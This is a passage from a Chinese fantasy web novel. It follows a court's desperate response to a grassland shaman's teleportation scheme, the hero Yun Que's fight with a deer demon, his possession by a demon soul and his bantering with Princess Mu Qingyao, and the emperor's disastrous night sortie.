苏鸿山没有回头,重刀反手挥斩,崩开了两箭。 第三箭他没挡开,直接刺进后心。 白厌这三箭,用了极为精巧的力道,看似三箭齐出,实则前两箭只是幌子,第三箭的速度慢了那么一分。 正是这慢了半步的一箭,才能错开苏鸿山回斩的重刀,正中目标。 箭矢扎进去大半,这一箭几乎穿透了对方的身体。 但苏鸿山浑然不觉,根本不在乎,黑马的速度反而更快了几分。 “活尸……” 白厌沉沉一叹。 苏鸿山已经是尸体,穿透心脉的必死之伤,对其毫无威胁。 “改变目标,废了他的旋风驹!”周史伯沉声道。 白厌再次弯弓,这次瞄准了旋风驹马腿的关节处。 旋风驹看样子也成了活尸,很难真正杀掉,箭矢唯有扎进马腿的关节,才能影响马匹的速度,让其难以奔跑,不得不停下。 一箭发出,直奔马腿。 白厌对自己的箭法有着绝对把握,但这一箭落空了。 并非没瞄准,而是被一个活尸以身体挡了下来。 “难怪他召唤活尸跟随,原来是为了挡下我的箭。”白厌紧锁眉峰道。 跟在苏鸿山马后的活尸速度极快,与白厌的宝马相差无几,而且数量太多,白厌的箭有限,根本杀不完。 “合萨的手段果然厉害啊。”周史伯叹了口气。 想要在对方抵达天祈城之前拦住,几乎不可能了。 白厌一边驾驭宝马,一边问道: “首辅与那合萨相处多时,可曾看出他究竟有多高的修为。” “看不出,但他的修为注定高于五品,合萨并非本体而来,他来的是元神,类似道门的元神出窍,否则他无法与苏鸿山融合,他将苏鸿山当做了一件利器,轰开天祈城的利器!”周史伯沉声道。 “元神?如此说来,合萨没打算活着回去。”白厌惊讶道。 元神出窍是一件极其危险的事,一旦重创,本体必死,看合萨如此搏命的举动,显然打着玉石俱焚的主意。 “携死志而来,破大晋江山。”周史伯沉声道:“合萨很老了,必定命不久矣,他想用最后的力量,替草原人重创我大晋!” “元神既然能出窍,一定携带着非同小可的力量,如果他冲进皇宫,后果不堪设想。”白厌分析道。33qxs.m “合萨擅长算计,他今日舍命而来,临死前一定会铲除对他来说最大的威胁,所以才要将他拦住,哪怕他冲进天祈城,也要拦在皇宫之外,否则陛下危矣!” 周史伯担忧的道。 随着宝马刺白的疾行,冷风吹在周史伯脸上,这位当朝首辅渐渐冷静了下来,苍老的脸庞开始出现疑色。 “威胁……” 周史伯呢喃着这两个字,同时回想起与合萨对弈时的画面。 在牧青瑶以沙盘推演困杀了五万血蛮后,合萨不仅认可牧青瑶的智慧,更将牧青瑶列为对草原的威胁。 豁然间,周史伯想到了一个人。 那个始终站在合萨身旁的卷发少年! 从恶战开始,卷发少年就不见了踪迹。 “停……停下!” 周史伯忽然大喝,白厌与司徒盼晴纷纷停了下来。 “你们可曾看到合萨身旁的卷发少年?”周史伯急急问道。 白厌几人纷纷摇头。 “不对,不对劲……” 周史伯的神色变幻不定,他想到了一种可能,低语道:“调虎离山!” 这时大批禁军赶了上来,周史伯询问禁军有没有看到灵芸郡主。 得到的答案都是没看见。 直至找到队伍最后方的禁军,询问之下,仍旧没人看到灵芸郡主。 其中有个禁军气喘吁吁的道:“我们没看到郡主,但我看到八山城的城门关上了!” “糟了!” 周史伯神色骤变,道:“合萨想要一箭双雕!他以元神控制苏鸿山冲进天祈,并引我们一路追杀,而那卷发少年留在八山城,对灵芸郡主下手!” 嘭一声。 青禾从飞行法器上直接跳了下来,朝着八山城方向狂奔而去。 现在众人距离八山城已经很远,哪怕青禾以最快速度狂奔回去也要一顿饭的时间才行。 这么长时间,灵芸郡主凶多吉少! 白厌表情沉重的道: “以首辅判断,合萨带来的少年会有多少战力,云缺在郡主旁边,应该暂时无碍。” “我与合萨推演沙盘的时候,曾经观察过那少年,对方的气息极其隐晦,我看不出他有半点修为,合萨既然敢以元神而来,那么他带来的手下绝非普通人!云缺只有七品修为,恐怕挡不住那少年!” 首辅急急说道,锁眉不展。 天祈城里高手无数,合萨想要冲进皇宫杀掉皇帝,很难做得到。 但牧青瑶身边,现在只有云缺一个人,杀掉灵芸郡主明显更简单一些。 来自草原的合萨,给周史伯出了个无解的难题。 是去回援皇城保皇帝,还是回头去救灵芸郡主。 一箭双雕! 每一箭都扎在周史伯的致命点。 皇帝若出事,大晋必定陷入动荡,不仅草原人会趁机来袭,邵武国也绝不会放过机会,哪怕身为首辅,周史伯也无法想象那种局面该如何应对。 灵芸郡主若死掉,大晋百姓将哀声一片,牧青瑶在晋国百姓心目中的地位与声望,几乎超过了皇帝。 两利相较取其重,两害相较取其轻。 以当朝首辅的心智,自然很清楚应该力保皇帝万无一失。 白厌的战力在一众将军当中绝对算顶尖的,司徒盼晴又是司天监仅有的几位监正弟子之一,如果及时赶回皇城,足以将苏鸿山带来的威胁降到最低。 可周史伯在迟疑。 如果今天没与灵芸郡主一同身陷八山城,没有一同在沙盘上与合萨对弈,周史伯会毫不犹豫的选择追杀苏鸿山,返回皇城。 但不久前的那场对弈,让周史伯看到了灵芸郡主不为人知的一面。 那并非一位只会心怀苍生,只会寻找灵花的郡主,而是有着帝王之相,有着高绝心智的郡主! 周史伯知道最佳选择是什么。 但他还是选择了另一条路。 “通知司天监护驾。” 周史伯对司徒盼晴吩咐后,沉声道:“我们,回八山城!” 白厌的神色微微变化了一下,点头称是,调转马头赶往八山城。 司徒盼晴动用传讯法术,将消息送了回去,也随着一同返回八山城,路上将狂奔的青禾接上飞行法器。 远处,屹立在夜幕里的八山城看着不远,可跑起来始终难以抵达。 望山跑死马。 周史伯心绪烦乱,焦急不已。 这时雪停了。 一轮满月在云层中忽隐忽现。 在众人接近八山城之际,白厌忽然惊呼道: “那是什么!” 周史伯抬头望去,城内出现了一道恐怖的龙卷。 完全由红雪所组成,接天连地! 呼啸的狂风离着极远都能听到,犹如鬼哭狼嚎。 “可怕的力量……”周史伯震撼低语。 “是妖气!”飞行法器上的司徒盼晴惊呼道:“我能感知到很重的妖气!” “什么程度的妖物?”周史伯急急问道。 “应该是……”司徒盼晴仔细感知着,一张小脸渐渐发白,道:“五阶!” 五阶两个字,犹如一把重锤,砸在首辅的心头。 周史伯仅存的一点希望,就此破灭。 灵芸郡主,今天必死无疑! 周史伯知道云缺很厉害,七品之间几乎没有对手,甚至面对六品也有机会逃生。 但遇上五阶妖兽,没有任何七品能活下去。 青禾的双手猛然捏紧。 她很想立刻抵达八山城,但做不到,飞行法器再快也要一定的时间才能抵达。 青禾现在无比后悔,她是个失职的护卫,就不该去追苏鸿山。 白厌沉沉一叹,为灵芸郡主觉得可惜,更替云缺觉得可惜。 能在一次比斗中修成赤炎拳的武者,天赋已经可怕到一种匪夷所思的程度,如果让云缺成长下去,白厌毫不怀疑云缺很快会追上自己,超过自己。 可惜,拥有如此天赋的一个年轻人,今天要饮恨八山城。 白厌经历的战斗很多,五阶妖兽也面对过多次,他深知五阶妖兽的恐怖之处,吞杀七品甚至六品武夫轻而易举! 在白厌的思维中,或许有六品宗师能在五阶妖兽面前支撑一会儿,但绝对没有七品武夫能抗住五阶妖兽的一击之力。 就连司徒盼晴,此刻也觉得云缺和牧青瑶肯定没救了,两人十死无生。 尤其远处那红雪组成的龙卷,明显是五阶妖兽罕见的天赋之力,比她全力施展的风属法术还要恐怖。 在这种龙卷之内,连她这种五品金丹都要吃不消,六品将被顷刻间撕成碎片! 四人的心里同时得出一个结论。 云缺与灵芸郡主,已经死了! 带着沉重的心情,众人继续赶往八山城。 没走出多远,白厌的目光骤然一变。 在几人眼前,八山城深处的血色龙卷忽然坍塌开来,化作漫天红雪。 那些红雪起初四处漂浮,很快又汇聚在一处,在八山城上方组成了一个硕大的圆盘! 乌云散尽,满月当空。 八山城上方几乎笼罩全城的血色圆盘,犹如地面上的第二轮血月! 在那血月的中心,睁开了一颗带着层层螺旋的血色竖瞳! 第200章 妖骨为坟 八山城内。 一道人影砸进一座三层酒楼。 轰隆一声,直接从三楼砸穿到一楼。 一头庞然大物紧随而至,恐怖的鹿角撞击过后,三层酒楼化作废墟。 庞大的鹿妖仰起头,大口开合中猛然吸气,随后喷吐出一个数丈大小的风团。 风团带着刺耳呼啸,砸进酒楼的废墟当中,轰出一个十余丈方圆的大坑。 轰隆隆! 片刻前还完成的酒楼,此刻消失无踪! 当沙土散去,现出大坑内云缺的身影。 单手提刀,浑身是血,嘴角不断溢出血迹。 鹿妖喷出鼻息,传出人言。 “七品武夫,居然能爆发出六品战力,不得不说,你很强,但你不是我的对手,游戏,至此结束。” 鹿妖抬起前蹄,朝着大坑里的云缺猛然踩落! 鹿蹄子好似小号儿的磨盘一样,轰鸣而落。 轰隆隆! 丈许深的大坑,这一下又被踩进去半丈多深,鹿妖的半个身子几乎陷到地底。 尘土飞扬之中,云缺的身影如闪电般跃起,避开鹿蹄后,一刀斩向鹿妖的双眼。 鹿妖发现长刀斩来,反应的速度极为灵敏,快速低头,避开双眼要害。 眼睛是躲开了,但鹿角没躲开。 咔嚓!! 云缺一刀劈断了一节鹿角。 鹿妖发出一声低吼,有些吃疼,随后大口一张,不等云缺落地就咬了过来。 云缺身在半空避无可避。 面对鹿妖恐怖的大口,云缺奋力一刀斩向獠牙。 金铁交鸣的响动炸起! 鹿妖的獠牙无比坚固,根本砍不动。 云缺借着这份反震的力道,堪堪避开合拢的利齿。 咔嚓!! 巨齿咬空的声音在耳畔响起,只要晚那么片刻,云缺就得尸首两分。 当巨齿合拢之际,云缺一拳轰出。 “赤炎拳!” 嘭!!! 一片火焰炸起在鹿妖口中。 云缺的身形掉落在地,将一座装潢别致的屋舍砸得彻底坍塌。 鹿妖对于烈焰拳毫不在意,非但不去灭火,反而大口一张将獠牙上的火焰尽数吞入肚腹,随后再次凝聚出一个风团。 这次的风团内燃烧着熊熊烈焰,犹如一个巨大的火球! 火球被鹿妖喷吐而出,砸向云缺所在之地。 云缺全力跃起,翻滚避开。 没等站起来呢,耳畔狂风呼啸! 鹿妖的一只大脚踢了过来! 鹿妖的灵敏程度无比惊人,云缺根本躲不开,只能以妖刀防御,整个人连着长刀被踢飞了出去,炮弹一样接连撞塌了十几面院墙,最后砸进一座杂货铺,砖石横飞。 云缺扶着坍塌的墙壁站了起来,摇摇欲坠,吐出一口血沫子。 对面, 鹿妖迈动着灵敏的步伐,带着一种难以言喻的优雅缓缓走来,居高临下的巨眼里,全是轻蔑之色。 “渺小的人族,永远不知道妖的强大,你很耐打,想必你的筋骨被强化过,否则早死多时,可惜没用,在我面前,你是一只蝼蚁。” 鹿妖看似缓慢的速度,实则极快,不给云缺恢复的时间,到了近前抬起前蹄,豁然踩下。 轰!!! 一团气浪在鹿蹄下炸起。 硕大的鹿蹄,没能踩到地面,被什么东西挡住了。 鹿妖的巨眼里现出一丝惊奇,但很快消散。 云缺此刻双手擎着黑刀,艰难抵挡着鹿蹄,从远处看,就像一只渺小的螳螂,想要挡住滚滚车轮。 第202章 岂教明月当皓白 八山城外。 刚刚赶到城门口的白厌,忽然勒住了宝马。 于此同时,城中四角升腾起硕大的光柱。 “那是什么?” 白厌惊疑不定。 之前笼罩在八山城上空的血色巨瞳已经消失不见,无数血色的光线犹如蚕茧般将八山城包裹了起来。 “阵道气息……八山城已是空城,合萨为何会在这里布置如此庞大的法阵?” 周史伯紧锁双眉,朝着半空急急问道:“能否感知到法阵类别?” 飞行法器上的司徒盼晴散开灵识,略一感知立刻惊呼道: “传送类!如此复杂的传送法阵,距离绝对很远,应该是单向传送大阵!” 传送大阵四个字,让周史伯的心头如遭重击。 “一次能传送多少人?”周史伯焦急的追问。 “不太清楚,这种传送法阵很特殊,借用了许多生魂之力,八山城的百姓被当做法阵的能量,从气息程度来看,估计传送上万人没有问题,或许还会更多。”司徒盼晴分析道。 这时八山城的城头,出现了一些模糊的身影,身形魁梧,骑乘着高大的异兽。 即便看不清楚,周史伯也知道了那是什么。 炎狼军! 草原使者忽疾曾经说过,大晋扫平了草原边缘的部落,正好让朱邪部拥有更多草场来饲养炎狼。 周史伯踉跄了一下,险些从马背上栽倒,眼前发黑。 至此,周史伯彻底明白了合萨真正的用意。 以八山城数十万百姓的生命,点燃传送大阵,从遥远的草原深处将朱邪部最强战力炎狼军传送而来,形成一支奇兵,突袭天祈城! 而合萨借助苏鸿山的身体,冲进天祈城,破坏伏妖阵! 如此一来,伏妖大阵崩塌,朱邪部这些血蛮就能骑着强大的炎狼直接杀进皇城! 之前的推演,看似合萨失利,其实是大晋输了。 五万血蛮若抵达八山城,以牧青瑶的困字诀,足以将其困死在八山城内。 可合萨隐瞒了炎狼这个最大的变数与威胁。 炎狼是妖兽,实力在八阶到七阶不等,五万血蛮本就有对抗十倍大晋军队的力量,五万人足以冲击五十万大军,一旦加上炎狼,血蛮的战力还要翻倍! 也就是说,只要五万炎狼军齐至八山城,大晋除非集结百万大军,否则绝对挡不住! 天祈城里的禁军只有六十万,想要集结百万大军需要在整个大晋之内调遣,绝非一天两天就能完成的。 这段时间,五万炎狼军足以杀进天祈,造成无法想象的后果。 城墙上,第一道身影出现后,紧跟着是第二个,第三个。 越来越多的炎狼军传送而来。 周史伯很快冷静下来,他发现传送来的炎狼军并非一次传送完成,而是类似排队,于是急急道: “能否破坏传送大阵?” 不等司徒盼晴回话,青禾已经冲到了城门,想要进城去救郡主。 结果被一种强大的阵道之力挡在城门口,任凭青禾如何攻击,全部无效。 “不用白费力气!这座传送大阵有着很强的法阵之力加固,是双重叠加的法阵,五品武者破不开的!”司徒盼晴大声喊着。 青禾不为所动,仍旧朝着城内猛冲,与大阵之力抗衡。 见劝说无效,司徒盼晴转向首辅道: “单向传送大阵一旦开始就不会停下,除非破坏阵基,但传送阵与防御大阵重叠,很难摧毁。” 第203章 最恐怖的回忆 水边,云缺的肩膀轻微抖动起来。 “呵呵……嘻嘻嘻嘻,你怎么知道,我不是云缺呢。” 声音从低沉的男声,逐渐转变为邪异的女子声音。 牧青瑶望着平静的水面,轻声道: “刚才洗脸的时候,我看到你在水面的倒影,云缺动用妖力的时候眼中是血瞳,从未出现过竖瞳,我想,你应该是他身上的妖魂。” 池边的身影缓缓站起,转过身,两眼是诡异的竖瞳。 “难怪他喜欢你,这么聪明的小丫头,谁又不喜欢呢,味道一定很好,嘻嘻嘻嘻!” 面对着诡异的云缺,牧青瑶缓缓闭上了眼。 她知道妖魂的存在。 更知道妖魂的强大。 刚才在八山城里,云缺手撕鹿妖的一幕,牧青瑶亲眼得见。 虽然被鹿妖禁锢,变成了一头梅花鹿,牧青瑶仍旧看得清清楚楚。 那种恐怖的力量,牧青瑶根本无法抗衡。 不仅是她,连云缺自己,恐怕也难以抵抗。 如今云缺被妖魂掌管了身体,牧青瑶只能说出最后的恳求,然后等死。 闭眼之际,牧青瑶发现自己的下颏被抓住。 “你的请求很有趣,说说看,为何求我隐瞒你的死因,我和那小子势不两立,他若得知你被我吞噬,肯定会气得发疯,我就喜欢看他发狂的模样!嘻嘻嘻嘻!”妖魂声音诡异的道。 “我不想你们反目成仇。” 牧青瑶睁开眼,平静的道:“你是云缺最大的助力,失去你,他会死,若因为我而让他记恨你,不值得。” 妖魂嘴角的诡笑愈发浓郁,掐着牧青瑶的下颏,欣赏道: “好一个心思玲珑的小丫头,死后也要为了喜欢的人着想,如果我是男人,恐怕也会喜欢上你,没办法哦,你是难得一见的通灵之体,你的元神可是大补之物!既然我出来了,又岂能放过你!” 牧青瑶仰着头,再次闭上眼,不再说话。 请求结束,多说无益,只要妖魂能将她的真正死因隐瞒下去,不让云缺得知真相,牧青瑶就已经心满意足。 随后牧青瑶被推到水塘边。 妖魂指着池水戏虐的道: “自己去洗干净,我吃的食物,必须干干净净才行。” 牧青瑶没办法,只能照办,走进池水,清洗着自己的身体。 池水冰冷,将那一身莹白映衬得愈发刺眼。 妖魂蹲在岸边,欣赏着眼前的一幕,脸上挂着诡笑,可那双竖瞳深处却涌动着一丝悲凉。 如此完美的身躯,她也曾拥有。 现如今,只剩一道妖魂…… 过了不久,妖魂目光一变,低头看了眼颈间挂着的玉佩,其上正逐渐散发出光晕。 妖魂立刻将牧青瑶抓了出来,按在水边,诡笑道: “你的身材真不错,吃你之前,不能浪费了这具肉身。” 说话间,妖魂将衣物扔掉。 这下牧青瑶无法镇定,俏脸发白,她不怕死,却怕被玷污了身体,对方明显要霸王硬上弓。 虽然是云缺的身体,但控制身体的却是妖魂,牧青瑶此时的感觉说不出的古怪,急忙哀求: “不、不行!” “怎么不行,你不是喜欢他么,献身给他又何妨,反正你也要死了。”妖魂怪笑道。 “我、我……”牧青瑶挣扎着喊道:“我还没嫁给他呢!” 说出这句话,小郡主苍白的俏脸多了一层晕红。 随后牧青瑶发现云缺不动了,眼中的竖瞳正快速转变为圆形的瞳孔。 牧青瑶眨了眨大眼睛,心里升起一丝希望。 如果云缺醒过来就好了,自己不用失身,更不用被吃掉。 很快牧青瑶发现云缺的脸上,多出了一些精彩的表情。 先茫然了一瞬,随后目光惊讶的低头看了看自己的姿势,又犹豫了一瞬,接着眼睛开始冒光。 “放开我。”牧青瑶轻声道。 “那怎么行!我可是妖魂呐,我喜欢做什么就做什么,我欺负别人,云缺不可能知道的,跟他无关哦。” 说着云缺下意识的挑了两下眉毛,怪笑道:“嘿嘿嘿嘿……呃,嘻嘻嘻嘻!” 牧青瑶紧紧的抿着唇,忽然开口道: “父王曾经说过,我在成亲之前不许任何男人触碰,如果有人欺负他女儿,不管那个人是谁,他都不会承认对方是自己的女婿。” “啊?阜南王还说过这规矩?”云缺道。 “嗯。”牧青瑶认真的点点头。 “哎呀,哎呀……突然头好痛!” 云缺缓慢的翻到在地,抱着头。 牧青瑶急忙穿上裙衣,深吸一口气,站在一旁继续看云缺表演。33qxs.m “我怎么了?这是哪儿?” 很快云缺恢复正常,一边手脚麻利的穿外套,一边担心的道:“郡主有没有受伤?” 牧青瑶缓缓摇头,道:“没有,差一点。” “那就好,郡主吉人天相,呵呵,刚才神智消失,被那妖魂掌控了身体,等我回头找那家伙算账!”云缺说得咬牙切齿,但脸上的表情写满了遗憾。 醒早了呀! 再晚那么一点点,生米就煮成熟饭了! 云缺最爱吃熟饭,有多少能吃多少。 牧青瑶抬起小手,示意云缺把手伸出来。 云缺奇怪的伸出手,然后就被人家一下子掐住手心。 小郡主咬着两颗小虎牙愠怒道:“我看你很失望才对,你是不是心里在埋怨自己醒早了!” “哪有!我可是正人君子,从来不会趁人之危!”云缺说得义正言辞,可语气怎么听怎么有点心虚。 “坏人!” 牧青瑶翻了个大大的白眼,羞涩的抿着唇,轻声道:“别急,早晚是你的。” 云缺嘿嘿了两声,捏了捏小郡主的小手儿,凉丝丝,犹如握着一方美玉。 “下次看到我那种状态,千万别过来,很危险。” 云缺正色道:“动用的妖力过多,我容易神智消失,一旦身体被那家伙掌控,不知道它会做出什么事来,就算它灭掉一城生灵都有可能。” “我觉得,妖魂没有想象中那么邪恶。” 牧青瑶轻蹙秀眉,道:“她其实在吓唬我,她没想把我吃掉,否则无需与我多言,直接吞噬即可,我沐浴的时候,发现她看得很专注,我想,她是在怀念着自己失去的肉身,她曾经一定也很美。” “我洗萝卜的时候,也很专注,洗干净就大口吃掉。”云缺道。 “不一样的,妖魂是女人,只有女人才会真正了解女人。” 牧青瑶望着平静无澜的水面,轻声道:“她很孤独,与曾经的你一样,我觉得她当初吞噬了养你的老猎人,一定有些不为人知的内情,她不想伤害你的。” 听完牧青瑶这番话,云缺大为佩服,道: “灵芸郡主果然聪慧,这种事都能猜得出来,没错,前阵子妖魂跟我说了吞噬老猎人的真相,那天我出门做陷阱的时候,老猎人偷偷卖了我的刀。” 牧青瑶并没有意外,而是缓缓摇头,道: “不是我聪慧,而是一种理解,若我是妖魂的话,我也许会吞噬无数生灵,却不会伤害你的亲人,你是封印她的容器,亦是她精神的寄托,她借给你力量,但你好像从未去试着理解她的内心。” 云缺沉默了下来。 坐在水塘边,望着水面上自己的倒影,久久无言。 的确如牧青瑶所言,云缺从未理解过妖魂,也不想去理解,甚至不知道妖魂的名字。 因为那是妖。 是云缺这一生誓要斩尽杀绝的妖! 自从出生,云缺就被打上了斩妖司的烙印,这一生,只能与妖为敌。 理解敌人,那不是云缺的做派。 敌人,就该斩尽杀绝! “八山城里的那只鹿妖,是我斩杀的第二头五阶妖兽。” 云缺声音淡淡,自语般说道:“前一头,是在我即将四岁那年杀的,那一年,我在荒山里遇到一家三口,年轻的夫妻,带着一个两岁大的娃娃,我迷路了,当时很饿,他们请我吃了一顿这辈子再也无法吃到的美味佳肴。” 云缺仰起头,嘴角挂着温和的笑意。 “后来我抓了两只兔子,打算再去混顿饭吃,结果看到屋子里多出一头五阶猿妖,那一家三口,都被吃掉了,吃掉了……” 低声说完,云缺的眼瞳里逐渐泛起血色。 狂躁的气息,随着这段讲述而渐渐起伏。 很快,月玉散发的一缕清凉,渐渐消弭着云缺心底的躁动。 牧青瑶紧紧握着云缺的手,在旁边轻声道: “这一生,你去斩妖也好,去砍柴也罢,我陪着你。” 小郡主将螓首轻轻依偎在云缺肩头。 两道身影犹如剪影般,静静的坐在水潭旁,耳畔,只剩下小溪流淌的轻响。 过了许久,牧青瑶好奇的道: “上一次,妖魂有没有控制你的身体?” “肯定的了,一天一夜之后,我才恢复清醒。”云缺道。 “你失去神智的一天一夜,妖魂做了什么?”牧青瑶好奇的询问道。 此言一出,云缺两只手猛地捏成拳头,平静的眼眸里泛起了一种罕见的后怕之色。 那一天一夜的经历,是云缺长这么大以来,最为恐怖的回忆。 宛如梦魇,令人午夜惊醒。 牧青瑶发现了云缺的异样,眨了眨眼睛,急忙安慰道: “不用说了,我不问了。” 云缺深深的呼出一口气,语调中带着些许颤抖的回忆道: “那是场噩梦,当我醒来的时候,身在一片山林里,眼前是火堆,火堆上烤着一头妖兽,我手里正拿着一把剪刀,在自己的要害处比量着……” 第204章 你爹想造反 牧青瑶听完了经过,表情变得古怪起来。 想要笑,却觉得不合适,只能强忍着,一张小脸儿憋得通红。 对于云缺来说,那的确是一场骇人的噩梦。 如果晚点醒来,可能直接进宫当太监了。 不过换成牧青瑶,却能理解。 妖魂是女子,一旦掌控了云缺这具男儿之身,肯定不习惯,对身上多出来的零件无比厌恶,想要剪掉也算正常举动。 牧青瑶本想安慰几句,一扭头发现云缺的额头都见汗了,于是实在没忍住,扑哧一声笑了出来。 反正也笑出了声,牧青瑶不再憋着,在水潭边笑了个够,笑得肚子都疼。 云缺黑着脸,道: “我痛苦的回忆,有那么好笑么。” 牧青瑶本来笑够了,刚稳定了表情,听完这句话又没忍住开始放声大笑,笑得眼泪都出来了。 云缺面无表情的往旁边挪了挪,用一根树枝在两人之间画了条线。 “画条线做什么?”牧青瑶好奇的问道。 “国界线,以后保持距离。”云缺道。 “那么小气!是我不对行了吧,我不该笑你,可是太好笑了,实在忍不住。”牧青瑶忍着笑道。 “把你小时候的糗事说出来,要不然我不会原谅你。”云缺道。 “好好好,我说还不行嘛。” 牧青瑶的语气与哄小孩子似的,想了想,道:“我记得四岁那年,在父王的书房里看书看睡着了,撞到书架,被书本埋了起来结果还没醒,父王发现后笑着骂我是真正的书呆子。” 云缺撇撇嘴,道:“这就是你的糗事?” “对呀,我从小到大,没有比这件事更荒唐的了。”牧青瑶认真的道。 云缺盯着小郡主看了半晌,道: “我怎么觉得你是在炫耀呢?” “被父王骂成书呆子还不够出糗,不够荒唐吗。”牧青瑶奇怪的反问。 云缺躺在水池边,望着天空道:“人比人,气死人呐,对了,我知道你还有件更荒唐的事,比书呆子可荒唐多了。” “有吗?什么事?”牧青瑶追问道。 “堂堂郡主,居然让别人摸自己。”云缺坏笑道。 牧青瑶怔了一下,俏脸瞬间变红,咬着小虎牙扑在云缺身上又掐又打。 打闹了一阵子,两人都躺在水塘边。 天已经黑了,明亮的星辰铺满夜空,犹如一颗颗珍珠般璀璨。 “幸亏你送的月玉,帮了我好几次,要不然我不会这么快就恢复神智。” 云缺将羽毛般的月玉举起来,月光之下,玉石外表流淌着温和的光泽。 “月玉的确有清心镇魂之效,但效用有限,会随着时间流逝而失去作用,能帮你一两次已经是极限,若心神狂暴到一定程度,月玉绝对达不到压制效果,你是靠着自己的毅力清醒过来的。”牧青瑶道。 “不是我的毅力,而是月玉的镇魂之力,没人比我清楚它有多么神异的力量。”云缺道。 “不应该啊,这块月玉没那么神奇的。”牧青瑶疑惑道。 云缺也觉得有些不对劲了。 月玉最初的确有些效果,能消除些自己心神中因为妖魂之力而产生的暴躁,但效果有限,不是很强。 不知从何时开始,这块月玉的镇魂效果越来越强,而非如牧青瑶说的那般越用效果越低。 牧青瑶在月玉之上不可能说谎,那么月玉中的力量,又是从何而来? 一时间,云缺陷入迷茫之中,望着手里的玉佩怔怔出神。 不知为何,云缺总觉得手里的这块月玉,有一种与自己心神相连的错觉,好像玉石中藏着另一个自己。 第205章 烂泥扶不上墙 午夜时分。 首辅一行人终于赶回皇城。 周史伯第一时间去见皇帝,将八山城发生的一切如实告知。 随后周史伯也得知了天祈城伏妖大阵被毁的消息。 周史伯心头沉重。 他最不愿面对的状况,到底发生了。 合萨真正的目的,根本不是皇帝,而是伏妖大阵。 大阵一破,炎狼军就能长驱直入,否则炎狼那种妖兽一旦冲进城里,会被伏妖阵直接灭杀。 得知是草原人控制了苏鸿山,殷子受气得咬牙切齿,大骂朱邪部卑鄙无耻。 “八山城里汇聚了多少蛮人?”殷子受问道。 “微臣不清楚,白将军毁掉角楼破坏了传送大阵,但城里还有防御法阵在运转,无法查看,微臣猜测应该不会超过五万,或许更少。”周史伯道。 听到首辅估算出的兵力,殷子受放心了。 皇城里禁军就有六十万,禁军十二卫,每一卫五万人马,草原人如果只来几万人,绝对有来无回。 不过牧青瑶被困八山城的消息,让殷子受大为恼火。 那是他培养了多年的一步棋,若有个闪失,多年积累的声望将前功尽弃。 殷子受当即下令,道: “监门卫负责修筑城门,天亮之前朕要天祈城的大门牢固如初!派出斥候前往八山城打探灵芸郡主的消息,不计一切代价也要救回来!” 众人刚刚领命,一名军兵急匆匆来报。 蛮族已经出现在天祈城外! 得知这个消息,周史伯顿时一惊。 对方来得太快! 刚刚占据八山城,就选择了主动出击,这种打法太过激进。 “哼!敢来天祈,让他们有来无回!”殷子受冷哼道。 传令军兵战战兢兢的禀报: “已经有蛮族冲进城里,然后又冲杀了出去,在城里的街上留下、留下……” “留下了什么!”殷子受怒喝道。 “留下一片屎尿。”军兵说完低着头不敢多看皇帝一眼。 殷子受气得浑身发抖。 天祈城大门被破开,但有大批军兵守着呢,居然让蛮族冲了进来。 关键人家冲进城里之后,还能又杀回城外,简直是挑衅! 一群武将纷纷恼怒起来,请令出战的声音此起彼伏,群情激昂。 周史伯紧锁眉头,道: “陛下,我们不可妄动,朱邪部的炎狼军究竟战力如何,没人知道,对方的人数也不清楚,现在是午夜,贸然出兵容易掉进陷阱。” 殷子受压制着怒火,犹豫了一下,看向司徒盼晴道: “司天监有何看法,能否确定敌人数量?” 司徒盼晴想了想,道:“从传送大阵的规模与运转时间判断,应该传不来多少人,多说一两万。” 殷子受一听更来气了。 一两万蛮子,就敢在天祈城外面吆五喝六,来回冲杀,如果传出来,他这个皇帝颜面尽失,威严何在? 周史伯急忙道: “一两万普通蛮人不算什么,可轻易剿灭,如果是一两万炎狼军,绝对非同小可,贸然出击绝非上策,知己知彼才能百战不殆。” 首辅极力规劝,殷子受迟疑不定,最后看了眼旁边的老太监。 无舌走到近前,在皇帝耳畔低声道: “陛下,总不能让那些蛮子骑在头上拉屎,龙威不可亵渎啊。” 听闻此言,殷子受做出最后决定,冷喝道: “左右武卫听令!即刻出征,剿灭蛮人!” 武卫指挥使立刻出列领旨,调遣手下十万禁军浩浩荡荡开出天祈城。 周史伯还想再劝,怎奈皇帝心意已决,根本不听。 在殷子受看来,一两万的蛮子而已,左右武卫总共十万大军,等天亮之后即可将其尽数剿灭。 这叫速战速决,免得夜长梦多。 后半夜的时候,天祈城外发生了一场恶战。 刀光剑影,吼声冲天,火光点点。 在城头上虽然看不到夜幕里的大战画面,单听声音都能体会到战场的凶险。 尤其哀嚎声不绝于耳,更多的则是狼啸。 这一战,一直持续到天明。 文武百官谁也没敢合眼,都站在金銮殿里等消息。 天刚蒙蒙亮的时候,传讯军兵脸色铁青的回报。 禁军,败了! 左右武卫总计十万兵马,活着逃回来的只有两三千余人! 殷子受直接瘫坐在龙椅上,眼睛发直。 他怎么也没想到,十万禁军,不到半宿就没了! “指挥使呢!人在何处!” 殷子受怒吼道,他要将愤怒发泄在指挥使身上。 皇城总共就六十多万兵马,这下直接砍掉十万,殷子受哪能受得了。 “指挥使已经阵亡!人头被蛮人绑在旗杆上,就、就立在城外。” 传讯军兵如实禀报,此刻满头冷汗,生怕皇帝一怒之下拿他祭旗。 “什么!” 殷子受再次大惊。 禁军指挥使,都是五品修为,这下不仅十万禁军没了,连一位五品的指挥使都跟着丧命。 蛮人刚来而已,就将大晋重创! 周史伯沉沉一叹,对皇帝冒失的举动大为失望。 不弄清敌人真正的战力,就连夜出兵,明摆着给人家送人头呢。 这下好了, 对方的兵力与战力还是没摸清,大晋这边先伤筋动骨。 老太监无舌也不吭声了,站在皇帝身后一动不动,犹如个木头人。 周史伯狠狠瞪了无舌一眼,知道刚才就是这家伙给皇帝吹风,简直是小人误国。 “快……快守住城门!不许再出去任何一人!” 殷子受慌乱之中,急急下令。 他现在怕了。 怕蛮族杀进天祈城,杀进皇宫。 这时又有军兵来报。 “启禀陛下!边军传来消息,邵武国五十万大军冲出天门关,连夜推进三百里!” 殷子受听完,表情变得呆滞了一下。 屋漏偏逢连夜雨。 这边蛮族刚到,邵武国居然也有所动作,简直是祸不单行! “太子不是到了邵武国吗,他们还想怎样!还想怎样!!” 殷子受狠狠地拍着桌子,眼里泛着惊恐,慌乱的下令道:“他们想要给璇玉郡主报仇是吧,好!找十个郡主,不!找一百个郡主!都送去邵武国,让他们杀!随便杀!” 文武百官全都低着头,没人敢吭声。 